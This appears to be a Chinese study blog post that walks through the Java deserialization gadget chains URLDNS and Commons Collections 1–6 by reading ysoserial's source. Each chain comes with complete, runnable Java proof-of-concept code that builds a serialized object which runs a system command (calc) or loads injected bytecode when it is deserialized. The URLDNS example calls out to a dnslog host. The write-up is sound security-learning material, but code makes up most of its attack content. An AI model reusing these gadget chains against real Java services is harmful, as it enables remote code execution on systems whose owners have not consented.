java反序列化

java反序列化

前几个月,跟着很多师傅在网上写的java反序列化博客学习。但直到今天,我对java反序列化没有一个清晰的认识。所以我计划从ysoserial源码的角度逐步探索gadget,理解反序列化,所以下文将是我思考的思路。

环境搭建

环境搭建选择lsf师傅的方法采用ysoserial源码加IDEA

image-20220905083110004

URLDNS

首先分析的是p神推荐的比较简单的反序列化链进行分析。

image-20220905083308473

注释部分进行了简要的介绍,通过阅读注释理解了URL.hashCode()会进行DNS查询

根据给出的Gadget,首先找到HashMap

代码的里就有HashMap,代码里面的注释同样包含了大量的信息,先放着不谈,我们先跟进一下Gadget

本来的思路是从上到下跟进,但是发现这样不太好理解,所以尝试从URL.hashCode()向上分析

image-20220905084500134

synchronized:synchronized可以保证方法或者代码块在运行时,同一时刻只有一个方法可以进入到临界区,同时它还可以保证共享变量的内存可见性,Java中每一个对象都可以作为锁,这是synchronized实现同步的基础。

hashCode==-1也就是URL类所设置的初始值时,会触发handler.hashCode

image-20220905085047025

java 的transient关键字为我们提供了便利,你只需要实现Serilizable接口,将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会序列化到指定的目的地中。

image-20220905085530659

handler在构造方法中的赋值方法

image-20220905085914649

protocol可控,跟进getURLStreamHandler

image-20220905090444053

image-20220905090550576

跟进Hashtable的get方法

image-20220905090640924

这里的protocol传进来,这里就没什么好看的了,根据key获取值

所以URLStreamHandler就是根据protocol获取其工厂类,由于我对java网络的不了解这里跟进了一下,对URLDNS链并没有帮助

回到handler.hashCode也就是URLStreamHandler.hashCode

image-20220905091509035

u参数就是URL对象

image-20220905091713053

这里就好理解了,根据host获取IP地址,也就是DNS查询,host在构造方法中可控且支持序列化

至此,我们知道了URL.hashCode会进行一次DNS查询

那么如何引发这个方法呢?

回到Gadget,HashMap.hash()

image-20220905092505662

他的hash方法会调用key.hashCode,那么思路就清晰了,key=URL就可以了,那我们就跟进HashMap.put(URL)

image-20220905092730610

put时也调用了hash方法,那么下面就去看readObeject

image-20220905093225487

在readObject方法中调用了put方法

自此,

*   Gadget Chain:
*     HashMap.readObject()
*       HashMap.putVal()
*         HashMap.hash()
*           URL.hashCode()

分析完成。

那么我们下面理解一下代码

ysosrial中存在URL u = new URL(null, url, handler);

handler存在其目的是避免本地构造是进行DNS查询,由于这个变量不会进行序列化所以不会有影响。

Reflections.setFieldValue(u, "hashCode", -1); 

这里还有一句设置hashCode为-1的值,这是为是什么呢?

原因是在构造的过程中由于调用了putVal()导致hash已经被执行了一次,所以这里的hashCode就有值了不等于-1,反序列化后也就不会触发handler.hashCode了,由于hashCode为私有变量所以采用反射的方法修改。

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL(null,"https://h3lveg.dnslog.cn",new sun.net.www.protocol.http.Handler());

        HashMap hashMap = new HashMap();
        hashMap.put(url,"sss");

        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,-1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        System.out.println(baos);

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        objectInputStream.readObject();
    }
}

image-20220905095850587

测试发现有这么多条记录

put时有一次,readObject时有一次

另外两次还不理解,只能后续学习了

Commons Collections1

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

老规矩从内层看起,可以看到ChainedTransformer内包含两种类ConstantTransformer与InvokerTransformer

ConstantTransformer

image-20220905204705467

阅读代码得知这个类的transform方法会返回传入的对象

InvokerTransformer

image-20220905205529854

阅读代码得知这个类的transform方法会返回input的对应方法执行后返回的对象

知道了上述两类的作用下面往外看

ChainedTransformer

image-20220905210007484

image-20220905210118512

显然这段逻辑是说将数组里面transformer从头到尾执行transform并将前一个返回的值作为后一个transform的输入

验证

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1pa {
    public static void main(String[] args) {


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformer = new ChainedTransformer(transformers);

        transformer.transform(null);
    }
}

image-20220905212357537

LazyMap

image-20220906094446102

可以看到LazyMap的get方法调用了transfrom方法

只需要factory=传入构造好的chainedtransform就可以了

image-20220906094749928

由于构造方法protected所以需要用decorate

在上面代码的基础上,修改一下,检验

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc1pa {
    public static void main(String[] args) {


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformer = new ChainedTransformer(transformers);

//        transformer.transform(null);
//        pb第二部分新增
        Map inner = new HashMap();
        Map lazymap = LazyMap.decorate(inner,transformer);
        //此时调用,lazymap不包含key=“sovo”,相当于transformer.trasform("sovo")
        lazymap.get("sovo");
        //get之后包含了

    }
}

image-20220906095533948

AnnotationInvocationHandler

image-20220906140411743

image-20220906140519234

memberValues赋值为lazymap

var4=var2.getName

构造AnnotationInvocationHandler,因为AnnotationInvocationHandler的构造方法没有写限定符(public)默认为default,只能同个包内访问,所以需要利用反射获取构造方法。

而且需要动态代理调用invoke方法

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1pa {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformer = new ChainedTransformer(transformers);

//        transformer.transform(null);
//        pb第二部分新增
        Map inner = new HashMap();
        Map lazymap = LazyMap.decorate(inner,transformer);
        //此时调用,lazymap不包含key=“sovo”,相当于transform.trasform("sovo")
//        lazymap.get("sovo");
        //get之后包含了
//        pc第三部分新增
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap);

//        动态代理调用invoke,此处动态代理创建实现Map接口的类,调用proxyMap的clear方法传入invocationHandler执行invoke
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//        proxyMap.clear();
//        代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
//        sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
//        AnnotationInvocationHandler对这个proxyMap进行包裹:
        invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(invocationHandler);
        objectOutputStream.close();

        System.out.println(byteArrayOutputStream);
        ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        Object o = (Object) objectInputStream.readObject();

    }
}

image-20220913080019921

image-20220906182124489

Java 8u71以后不能用了,原因在于Annotationhandler#readObject逻辑改变

Commons Collections2

/*
   Gadget chain:
      ObjectInputStream.readObject()
         PriorityQueue.readObject()
            ...
               TransformingComparator.compare()
                  InvokerTransformer.transform()
                     Method.invoke()
                        Runtime.exec()
 */

经过前面反序列化的学习我们知道了invokerTransformer.transform能执行命令

我们直接去看TransformingComparator.compare()

image-20220911151602019

构造方法为

image-20220911151813049

传入第二个构造方法

image-20220911151951653

这里存在一个误区,cc2链使用的包不再是低版本的了

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

但是cc2链依旧可以分析

现在,我们已经知道了compare方法可以调用transforme方法,那么下面我们就要找能调用compare方法的类的readObject,显然这个类就是PriorityQueue

我们去看一下代码。

image-20220911202146404

跟进heapify()方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

这里for中的条件说明size要>=2才能进入循环,调用siftDown

跟进siftDown

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

跟进siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

可以看到这里存在comparator.cmpare,且全部的方法调用均是PriorityQueue内部方法,也就是说我们只需要构造一个PriorityQueue类的实例满足条件就行了

下面构造

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class cc2 {
    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(faketransformers);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);

        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformer,"iTransformers",transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();

        ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

//faketransformer是为了在构造过程中不执行命令,通过反射修改并序列化构造

Commons Collections3

cc3使用的依旧是org.apache.commons.collections.*与cc2不同

首先查看gadget

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */

这里是说用InstantianteTransformer 代替 InvokerTransformer,那么我们去看这个类

InstantiateTransformer

image-20220912091005964

可以看到这里获取对应参数的constructor实例

cc3不在和cc1一样通过直接反射执行命令了,而是采用加载字节码的方法

final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(
						new Class[] { Templates.class },
						new Object[] { templatesImpl } )};

这里就需要学习一个新类了

TemplatesImpl

Java加载类机制

ClassLoader#loadclass去类缓存、父类等位置寻找类(双亲委派机制),如果找不到则ClassLoader#findclass会去加载远程class(jar,http,本地文件)最后交给ClassLoader#defineclass去处理字节码

TemplatesImpl利用

阅读Templateslmpl源码可以看到内部定义了一个继承ClassLoader的子类

image-20220912122422034

且其defineClass传给ClassLoader处理

image-20220912122629769

由此,我们寻找调用该方法的调用链

image-20220912122821377

三处调用

image-20220912123245789

通过查看三处调用的被调用情况发现只有TemplatesImpl#getTransletInstance()被TemplatesImpl#newTransformer()调用

image-20220912123539640

调用链

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

查看调用条件_bytecodes是传入的字节码

image-20220912125554927

image-20220912130005583

_name!=null _class==null

image-20220912151907050

这里选择TransformerFactoryImpl,此外

image-20220912152025725

这里需要if成立进入否则进入else会报错

image-20220912152134308

也就是说传入字节码的类需要是上图类的子类

测试

package cc3test1;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class sovo extends AbstractTranslet {
    public sovo() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }
}
package cc3test1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;

import java.lang.reflect.Field;

public class cc3run {
    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl   templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sovo");
        setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

image-20220912152235490

接下来寻找能够调用newTransformer的类,回到源码,发现TrAXFilter.class

image-20220912163921782

可以看到其构造方法调用了newTransformer

结合这两者我们编写代码

package cc3test1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3last {
    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sovo");
        setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer transformer = new ChainedTransformer(transformers);
        Map inner = new HashMap();
        Map lazymap = LazyMap.decorate(inner,transformer);

//        lazymap.get("sovo");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap);

        Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//        proxymap.clear();
        invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,proxymap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(invocationHandler);

        System.out.println(byteArrayOutputStream);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

image-20220913073530319高版本java不能复现

Commons Collections4

/*
 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */

归纳一下,cc3对于cc1的提升是使用了字节码,那么cc4对cc2的提升就是使用字节码

归纳cc3与cc1区别,并迁移cc2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sovo");
        setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer[] faketransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        Transformer transformer = new ChainedTransformer(faketransformer);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);

        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformer,"iTransformers",transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();

        ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20220913132952410

Commons Collections5

/*
   Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

   Requires:
      commons-collections
 */

通过Gadget可以发现cc5与cc1的不同在对LazyMap.get()的调用,cc5是TiedMapEntry.toString去看源码

image-20220913141335749

this.map

image-20220913141431876

可以看到toString对getValue调用了

寻找能调用toString的地方

image-20220913152345194

得到

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws IOException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        //恶意Transformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map hashmap =  new HashMap();
        Map lazymap = LazyMap.decorate(hashmap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"sss");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        //反射设置val值为TiedMapEntry实例
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(badAttributeValueExpException);

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

image-20220913152747159

Commons Collections6

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

在分析cc5的时候,TiedMapEntry.toString()调用了getValue()然而我们发现这个类的hashCode也可以调,所以cc6是对其hashCode方法调用链的构造

image-20220913153617328

由URLDNS里面对hashMap的分析可知其hash方法调用了hashCode()我们去分析

image-20220913160113568

image-20220913160330847

那么下面需要做的,就是找到一个调用put方法的类这里给出的是HashSet的readObject

image-20220913190933224

image-20220913191117094

可以发现writeObject是根据key值写的,所以我们要为构造的hashmap提供一个key

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc61 {

    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformer = new ChainedTransformer(faketransformers);

        Map inner = new HashMap();
        Map lazymap = LazyMap.decorate(inner,transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"sovo");

        HashSet set = new HashSet();
        set.add(tiedMapEntry);
        lazymap.clear();

        setFieldValue(lazymap,"factory",new ChainedTransformer(transformers));

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();

    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值